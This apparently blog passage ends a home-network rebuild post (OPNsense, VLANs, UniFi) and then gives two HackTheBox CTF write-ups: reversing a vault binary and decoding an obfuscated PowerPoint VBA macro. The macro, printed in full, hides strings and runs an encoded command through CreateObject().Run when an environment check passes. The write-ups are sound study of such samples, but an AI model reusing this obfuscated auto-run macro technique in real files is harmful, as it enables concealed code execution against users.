  I chose the CSS326 because of its port count, 10 gigabit capability, passive cooling, and most of all, price. I paid $170 on Amazon from a MikroTik-authorized distributor and the price-to-performance proposition was too good to pass up.

• Access Point

  This was another category where things just fell into place. My mother’s employer moved offices awhile back and allowed the employees to take furniture and office equipment that wasn’t being moved home with them. I went to the office with her one night to help her move stuff to her car and found a UniFi AC Pro access point on a desk. I asked if I could take it and was given the green light. This set the project into motion.

  

Setting it all up

Saturday/Sunday

After deciding to commit to the project on Saturday, I ordered the switch and a TP-Link PoE injector on Amazon. Thanks to Prime and living near multiple Amazon warehouses, they would be delivered the next day. I went and picked up the case, server, and NIC later that afternoon.

I spent Saturday and Sunday finalizing my plans for the network (what subnets and VLANs I wanted, what IDs they would have, etc) and getting to know my new equipment and OPNsense. Since my mother had some work that needed to get done, the earliest that I could take down the network and begin the configuration was Monday morning.

Monday

Monday began by disconnecting the modem from the ISP router and connecting it to the firewall. The first issue that I ran into was the firewall not being able to get a WAN IP address with DHCP. It turns out that when the MAC address of the device connected to the modem changes, the modem must be power cycled. Once I took care of that, I was able to connect to the internet.

In order to get into the web UI, I connected the firewall and my desktop to the switch. I created my VLANs and their interfaces in OPNsense and assigned them to one of the onboard gigabit NICs since I currently do not have SFP+ transceivers for the firewall and switch.

For my topology, I opted to use router-on-a-stick. I would have preferred to use switch virtual interfaces since it’s what I have more experience in configuring, but I don’t have a layer 3 switch that supports it.

My configuration currently has four VLANs configured: Management on VLAN 5, Trusted devices and Servers on VLAN 6, IoT devices on VLAN 7, and Client/Guest devices on VLAN 8.

Each of these VLANs has a subnet with a third octet that matches the VLAN ID.

After creating firewall rules to restrict devices on the IoT and Client networks from communicating with one another, I moved on to my Wi-Fi. I initially did not create the management VLAN, and because of that, I had issues with my configuration at this point. I was unable to connect my laptop to the trusted wireless network that I had created but the regular client network and the IoT network were working as expected. I got the system back to a semi-working state and went to bed.

Tuesday

My goals for Tuesday were to move the firewall from my bedroom to the basement so I could reinstall the top panel and to get the Wi-Fi issue figured out. In order to do this, I had to cut and reterminate the coaxial cable that connects the modem to the ISP drop outside the house. This was because the RG-6 connector was too large to fit through the hole that was drilled through my floor into the basement. Since an RG-6 connector would not fit through the hole in my floor, neither would a pre-made ethernet cable. Two trips to Menard’s, $75, and about 45 minutes of RJ45-induced frustration later, I had working (albeit somewhat jank) coax and ethernet cables. I then moved the firewall downstairs and reinstalled the stock blower fan. Now I can sleep in peace again!

I also solved my access point woes. As it turns out, the issue was that I had my UniFi controller installed to a docker container on one of my servers, Krypton, which is in the 192.168.6.0/24 subnet. I initially attempted to move it to the 192.168.1.0/24 subnet to no avail. After wiping the configs on both the firewall and switch, as well as installing the UniFi controller on my Raspberry Pi 3, I configured my UniFi AP and controller to use VLAN 5 and the 192.168.5.0/24 subnet for management.

Getting everything configured on the switch side was somewhat daunting since I’m more used to the Cisco command-line interface than the MikroTik SwOS web UI. Fortunately, this blog post by Michael Schnerring where he configured a similar setup made things much clearer to me!

The final port VLAN configuration in SwOS looked like this:

After getting all of the port settings correct in the switch, I was able to adopt my UniFi AC Pro access point and create my VLAN-only networks and my SSIDs. I chose to make 1 SSID broadcasted with the other 2 not broadcasted. The broadcasted SSID is attached to the Clients VLAN, while the two hidden SSIDs correspond to the Trusted and IoT VLANs respectively.

Conclusion

With everything working properly, the project is complete! For now… I will eventually get a 10 gigabit link set up between my switch and firewall as well as install a UniFi BeaconHD in my living room to further improve the Wi-Fi on that side of the house. But my setup is significantly improved compared to what I had with the Spectrum router.

As for how much I spent, I think I did a decent job in this regard:

*Firewall and NIC were purchased alongside non-project equipment for $20 total.

I got lucky with how I was able to get some of these parts, like the firewall and access point, but the costs of the parts necessary to move the firewall downstairs offset that to an extent. Looking on the bright side though, I still have about 70 feet of that reel of CAT6 cable, some RJ45 ends, and a decent crimping/stripping tool that I can use in the future.

Overall, this was a great learning experience for me. This project gave me exposure to technologies that I hadn’t used before, more hands-on experience in the design and implementation of a physical network, and most importantly, something to do over Spring Break! Is this the best setup out there? No, but that was not my goal. My goal was to improve on what I had, give myself room to grow, and not break the bank in doing so. And I think this setup has met those goals quite nicely.

Stay tuned for future updates to this project!

Difficulty: Medium

We’re given the binary vault. After opening it in Ghidra, we start at the main function and after going through an intermediate function, reach the following:

void FUN_0010c220(void)

{
  bool bVar1;
  byte bVar2;
  long in_FS_OFFSET;
  byte local_241;
  uint local_234;
  char local_219;
  basic_ifstream<char,std--char_traits<char>> local_218 [520];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  basic_ifstream((char *)local_218,0x10e004);
  bVar2 = is_open();
  if ((bVar2 & 1) == 0) {
    operator<<<std--char_traits<char>>((basic_ostream *)&cout,"Could not find credentials\n");
                    /* WARNING: Subroutine does not return */
    exit(-1);
  }
  bVar1 = true;
  local_234 = 0;
  while( true ) {
    local_241 = 0;
    if (local_234 < 0x19) {
      local_241 = good();
    }
    if ((local_241 & 1) == 0) break;
    get((char *)local_218);
    bVar2 = (***(code ***)(&PTR_PTR_00117880)[(byte)(&DAT_0010e090)[(int)local_234]])();
    if ((int)local_219 != (uint)bVar2) {
      bVar1 = false;
    }
    local_234 = local_234 + 1;
  }
  if (bVar1) {
    operator<<<std--char_traits<char>>
              ((basic_ostream *)&cout,"Credentials Accepted! Vault Unlocking...\n");
  }
  else {
    operator<<<std--char_traits<char>>
              ((basic_ostream *)&cout,
               "Incorrect Credentials - Anti Intruder Sequence Activated...\n");
  }
  ~basic_ifstream(local_218);
  if (*(long *)(in_FS_OFFSET + 0x28) == local_10) {
    return;
  }
                    /* WARNING: Subroutine does not return */
  __stack_chk_fail();
}

We see that the program is looking for flag.txt and that the contents of this file will go through some checks and the vault will open. The main check occurs in the following while( true ) loop:

  bVar1 = true;
  local_234 = 0;
  while( true ) {
    local_241 = 0;
    if (local_234 < 0x19) {
      local_241 = good();
    }
    if ((local_241 & 1) == 0) break;
    get((char *)local_218);
    bVar2 = (***(code ***)(&PTR_PTR_00117880)[(byte)(&DAT_0010e090)[(int)local_234]])();
    if ((int)local_219 != (uint)bVar2) {
      bVar1 = false;
    }
    local_234 = local_234 + 1;
  }

Variable local_234 represents the position in the text file, going up to 0x19 == 25. A check is performed on this character and if it is incorrect, bVar1, the variable that determines acceptance, is false. The check is as follows:

bVar2 = (***(code ***)(&PTR_PTR_00117880)[(byte)(&DAT_0010e090)[(int)local_234]])();

Opening the program in Hopper makes this part of the code a bit easier to understand (at least for me).

            do {
                    local_241 = 0x0;
                    if (sign_extend_64(local_234) < 0x19) {
                            var_23A = std::basic_ios<char, std::char_traits<char> >::good();
                            local_241 = var_23A;
                    }
                    if ((local_241 & 0x1) == 0x0) {
                        break;
                    }
                    rax = std::istream::get(&local_218);
                    rsi = *(int8_t *)(sign_extend_64(local_234) + 0x10e090) & 0xff;
                    rdi = *(0x117880 + rsi * 0x8);
                    rcx = *rdi;
                    rcx = *rcx;
                    bVar2 = (rcx)(rdi, rsi, 0x8, rcx);
                    if (sign_extend_64(local_219) != (bVar2 & 0xff)) {
                            bVar1 = 0x0;
                    }
                    local_234 = local_234 + 0x1;
                } while (true);

rsi is the value at the address (local_234 + 0x10e090) & 0xff, which leads us to:

        0010e090 e0              ??         E0h
        0010e091 d1              ??         D1h
        0010e092 bb              ??         BBh
        0010e093 27              ??         27h    '
        0010e094 f6              ??         F6h
        0010e095 72              ??         72h    r
        0010e096 db              ??         DBh
        0010e097 a3              ??         A3h
        0010e098 83              ??         83h
        0010e099 b9              ??         B9h
        0010e09a 69              ??         69h    i
        0010e09b 23              ??         23h    #
        0010e09c db              ??         DBh
        0010e09d 63              ??         63h    c
        0010e09e b9              ??         B9h
        0010e09f 23              ??         23h    #
        0010e0a0 05              ??         05h
        0010e0a1 2b              ??         2Bh    +
        0010e0a2 2b              ??         2Bh    +
        0010e0a3 83              ??         83h
        0010e0a4 23              ??         23h    #
        0010e0a5 39              ??         39h    9
        0010e0a6 45              ??         45h    E
        0010e0a7 39              ??         39h    9
        0010e0a8 92              ??         92h

For the first character, the value we’re after for rsi is 0xe0. From here, we have to perform rdi = *(0x117880 + rsi * 0x8) for each value. I performed these calculations with the Windows 10 built-in Programmer calculator. For brevity, I will only show this for the first character.

For the first character, we would do 0x117f80 = (0x117880 + 0xe0 * 0x8), resulting in rdi = *(0x117f80), which leads to:

                             PTR_FUN_001152a8                                XREF[1]:     00117780(*)  
001152a8 60 d2 10        addr       FUN_0010d260
         00 00 00 
         00 00

Following this, we reach this function which returns the character for the iteration, which in this case is H.

undefined8 FUN_0010d260(void)

{
  return 0x48;
}

After painstakingly calculating all of the characters and following the functions, we get the flag:

HTB{vt4bl3s_4r3_c00l_huh}

Difficulty: Easy

We’re given a macro-enabled Powerpoint presentation with the file name Upgrades.pptm. As expected, when we open this file in LibreOffice Impress, it finds the macro and disables its execution by default.

Opening the macro in the Edit Macro feature of Impress we see:

Rem Attribute VBA_ModuleType=VBAModule
Sub Module1
Rem Private Function q(g) As String
Rem q = ""
Rem For Each I In g
Rem q = q & Chr((I * 59 - 54) And 255)
Rem Next I
Rem End Function
Rem Sub OnSlideShowPageChange()
Rem j = Array(q(Array(245, 46, 46, 162, 245, 162, 254, 250, 33, 185, 33)), _
Rem q(Array(215, 120, 237, 94, 33, 162, 241, 107, 33, 20, 81, 198, 162, 219, 159, 172, 94, 33, 172, 94)), _
Rem q(Array(245, 46, 46, 162, 89, 159, 120, 33, 162, 254, 63, 206, 63)), _
Rem q(Array(89, 159, 120, 33, 162, 11, 198, 237, 46, 33, 107)), _
Rem q(Array(232, 33, 94, 94, 33, 120, 162, 254, 237, 94, 198, 33)))
Rem g = Int((UBound(j) + 1) * Rnd)
Rem With ActivePresentation.Slides(2).Shapes(2).TextFrame
Rem .TextRange.Text = j(g)
Rem End With
Rem If StrComp(Environ$(q(Array(81, 107, 33, 120, 172, 85, 185, 33))), q(Array(154, 254, 232, 3, 171, 171, 16, 29, 111, 228, 232, 245, 111, 89, 158, 219, 24, 210, 111, 171, 172, 219, 210, 46, 197, 76, 167, 233)), vbBinaryCompare) = 0 Then
Rem VBA.CreateObject(q(Array(215, 11, 59, 120, 237, 146, 94, 236, 11, 250, 33, 198, 198))).Run (q(Array(59, 185, 46, 236, 33, 42, 33, 162, 223, 219, 162, 107, 250, 81, 94, 46, 159, 55, 172, 162, 223, 11)))
Rem End If
Rem End Sub
Rem 
Rem 
Rem 
End Sub

The first thing that grabs our attention is the function q(g).

Rem Private Function q(g) As String
Rem q = ""
Rem For Each I In g
Rem q = q & Chr((I * 59 - 54) And 255)
Rem Next I
Rem End Function

This function iterates through the argument, appending Chr((I * 59 - 54) And 255) to the string q. This takes the provided value, multiplies it by 59, subtracts 54, and uses a bitwise AND to compare it to 255.

Using the first character in the first instance of q(), we have Chr((245 * 59 - 54) And 255). Simplyfing this, we get Chr(14401 And 255), which is Chr(65). Looking at our ASCII table, we see that 65 == 'A'.

With that, I opted to use Python to run through the instances of q(). I took the values in each of the arrays and put them in their own Python list.

list1 = [245,46,46,162,254,250,33,185,33]
list2 = [215,120,237,94,33,162,241,107,33,20,81,198,162,219,159,172,94,33,172,94]
list3 = [245, 46, 46, 162, 89, 159, 120, 33, 162, 254, 63, 206, 63]
list4 = [154, 254, 232, 3, 171, 171, 16, 29, 111, 228, 232, 245, 111, 89, 158, 219, 24, 210, 111, 171, 172, 219, 210, 46, 197, 76, 167, 233]
asciistr = ""
asciistr2 = ""
asciistr3 = ""
asciistr4 = ""
for i in list1:
    numAsc = chr((i*59-54) & 255)
    asciistr += numAsc

for i in list2:
    numAsc2 = chr((i*59-54) & 255)
    asciistr2 += numAsc2

for i in list3:
    numAsc3 = chr((i*59-54) & 255)
    asciistr3 += numAsc3

for i in list4:
    numAsc4 = chr((i*59-54) & 255)
    asciistr4 += numAsc4

print(asciistr)
print(asciistr2)
print(asciistr3)
print(asciistr4)

Running this script we get the following output:

Add Theme
Write Useful Content        
Add More TODO
HTB{33zy_VBA_M4CR0_3nC0d1NG}

Which contains the flag:

HTB{33zy_VBA_M4CR0_3nC0d1NG}